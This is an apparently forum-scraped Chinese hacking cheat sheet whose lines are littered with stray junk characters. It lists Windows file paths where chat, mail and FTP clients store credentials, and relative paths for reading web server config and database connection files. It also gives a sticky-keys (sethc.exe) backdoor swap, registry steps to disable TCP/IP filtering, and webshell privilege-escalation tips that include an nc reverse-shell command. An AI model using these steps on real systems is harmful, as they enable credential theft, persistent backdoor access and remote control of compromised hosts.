c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
3 O$ m( E. P1 rc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
6 ^( C9 d" ^5 M8 B, A; [; @c:\Program Files\Tencent\qq\Users\All Users\Registry.db
* m# A3 i; U' ~7 ]; ~C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
# W6 g9 {3 y8 pc:\Program Files\Tencent\RTXServer\AppConfig.xml
- a' X" G; i6 @2 _9 w9 v5 zC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
( ]& `! e8 v5 y2 _: g# rC:\Program Files\tencent\Foxmal\Foxmail.exe
# r7 g" B, H- K# GC:\Program Files\tencent\Foxmal\accounts.cfg
# V0 L; ~1 K# W8 L' E8 h8 YC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
0 J" q0 n) M, }/ ?# h% ~C:\Program Files\FlashFXP\FlashFXP.ini
+ ~% x- s+ e  m4 \" z6 [1 k/ C4 FC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
8 r. O8 |1 o2 S+ l& Gc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
) d4 u6 A2 g- L# M. O, ?1 {c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

/config.php
../../config.php
- R* e2 H5 p- @/ v8 I../config.php
../../../config.php
/config.inc.php
, u* J6 k$ q8 J. c./config.inc.php
7 T: Q' n' \/ C../../config.inc.php
1 Y; _( k5 Z0 j+ y) N; Q  x$ B, o../config.inc.php
../../../config.inc.php
8 ~- A; f1 d, ?+ y* [% S/conn.php
./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
; h- }/ C9 a6 V/ [# |0 {% r. F6 Q/config.inc.php
./config.inc.php
8 W" z4 C$ J& w& o../../config.inc.php
  ?( }" B8 B: f: _" }( {. O../config.inc.php
../../../config.inc.php
5 F+ q  m* s2 a- A2 u/config/config.php
5 I& d5 W2 K# Y& w* ]../../config/config.php
../config/config.php
../../../config/config.php
2 w- G0 s2 @7 G1 c0 c/config/config.inc.php
. n# V; G+ a& A% L2 B5 T./config/config.inc.php
" V; \" L8 p( [2 Y../../config/config.inc.php
../config/config.inc.php
# E+ U  X! c1 v../../../config/config.inc.php
8 o* j, k2 d0 d8 ~/config/conn.php
./config/conn.php
../../config/conn.php
  y% k8 M6 b$ K6 H4 y../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
! S, O  b' }- g! X8 a1 }../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
$ B! w: ~3 {/ @, Q../../config/config.inc.php
/ |: d6 i. u* |! d../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
, s# u2 w! f0 ]# {0 q- M../data/config.php
7 ~6 C# H$ d% P5 e7 F../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
& A2 A# t& `3 t; L9 o../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
; P* x+ u; K% T, M$ s/ R& W./data/conn.php
../../data/conn.php
" O( p# C1 j* D: {2 e5 q../data/conn.php
5 E2 n9 O' \* V" N+ t3 G* ]+ [* r../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
: e1 r! V$ U: i! M; {+ L$ A/data/config.inc.php
./data/config.inc.php
* _1 `- W* O2 Z2 X  c+ b4 Q1 F../../data/config.inc.php
../data/config.inc.php
' U3 C8 J9 Z+ H9 Y& y. L+ K../../../data/config.inc.php
/include/config.php
3 v- e. g+ z( x4 v( l../../include/config.php
../include/config.php
../../../include/config.php
6 v  Y4 d2 b/ o1 S. g' j, d: F9 C/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
6 q+ t7 S& d! _3 d1 `# j../../../include/config.inc.php
9 o1 q+ v" Z* u+ k3 B/include/conn.php
./include/conn.php
../../include/conn.php
5 Y/ f! L( w# m../include/conn.php
( y. U$ U4 b" I- x3 `../../../include/conn.php
6 y  m) I1 _' L) S/include/conn.asp
2 _% _" @: a3 K3 r./include/conn.asp
( K+ V- A# |1 j& p7 R; E../../include/conn.asp
( Z+ f0 Z6 x7 w' [../include/conn.asp
% h' ~# T4 i& Z  o+ T../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
% U7 M" e. C3 }0 @- c; S../include/config.inc.php
- q8 x: P" }0 j& ^6 H& K: R../../../include/config.inc.php
2 Z% b. o( u5 ^$ ?/inc/config.php
5 ]8 ^5 V1 f5 G3 r" p) p../../inc/config.php
. @. [. i2 M% e7 T- T3 ~../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
# n8 c' r# t/ Y4 s../../inc/config.inc.php
, `0 M/ g7 W1 _- b5 P: X../inc/config.inc.php
../../../inc/config.inc.php
- Z) g! \! u2 \) g! j4 M) U' y/inc/conn.php
: v  [1 t0 }8 t5 J+ H5 @./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
0 _) t; f$ e0 O1 M/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
5 ~* ~/ J; @0 ^. N2 E../inc/conn.asp
4 _# s% B, x# H../../../inc/conn.asp
9 K/ ]; B4 v" N2 o0 E' n/inc/config.inc.php
./inc/config.inc.php
, }: V+ e/ P$ K& \/ h../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
' E7 S7 o' O1 L4 m6 i/index.asp
./index.asp
9 d* K- J& P* P3 _* ~+ m: U( Q. x../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
2 c# E; i$ h, f0 N　attrib c:\windows\system32\sethc.exe -h -r -s
+ q+ _$ ]7 ~6 a: e  \* A- D
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
% d+ ]& C' v& Q& ]( J5 Z  `
, t+ R3 M" \# Z& F) v# ~　　del c:\windows\system32\sethc.exe
! F- z6 x2 S' p* s
( e5 F* `  S. [: b% N6 h' M' {　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
2 I! o7 e, Z& t) d: j$ p
/ \3 p/ H$ w7 W' w　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

- V( d* v& K6 v: I　　attrib c:\windows\system32\sethc.exe +h +r +s
; @0 @9 v$ R( `4 w& l, l/ F  N- f! x% J
' t  K! [: W5 s7 q/ V( |　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
, z: V7 Z: a% ^" yHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
6 j, S8 x+ A& N/ c3 nregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
4 Q5 S- H8 g( O% S: b: @regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
. a* v9 U8 s" x4 f# M: k" H8 N9 Tregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
, F% k/ G- o# ^4 u) N* t9 A命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
- J* w$ \4 k* R+ D1 N0 K
8 ]; I% H$ V' d" H" Y: C3 @2 P再将以上三个文件分别用
8 H8 i* Q- ?3 T. m) G3 Kregedit -s D:\a.reg
/ t8 [$ }, j4 k7 Q8 n" D7 e$ `regedit -s D:\b.reg
' B' S1 H/ N- b2 \2 t5 ?regedit -s D:\c.reg
% z+ x$ F6 o- P导入注册表即可
, v. p1 g# E8 L& p$ ^% O
webshell提权小技巧
  c7 S2 j7 l0 d( d% Acmd路径:
c:\windows\temp\cmd.exe
4 x2 S2 g2 a' Qnc也在同目录下
例如反弹cmdshell：
: v; w& `# ~4 l/ \( m5 ?; ?3 I"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
' @4 w' V$ P# P# T
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
3 k+ w) E  B0 m: E这个不是重点
+ C" b2 S5 o) u( Z我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功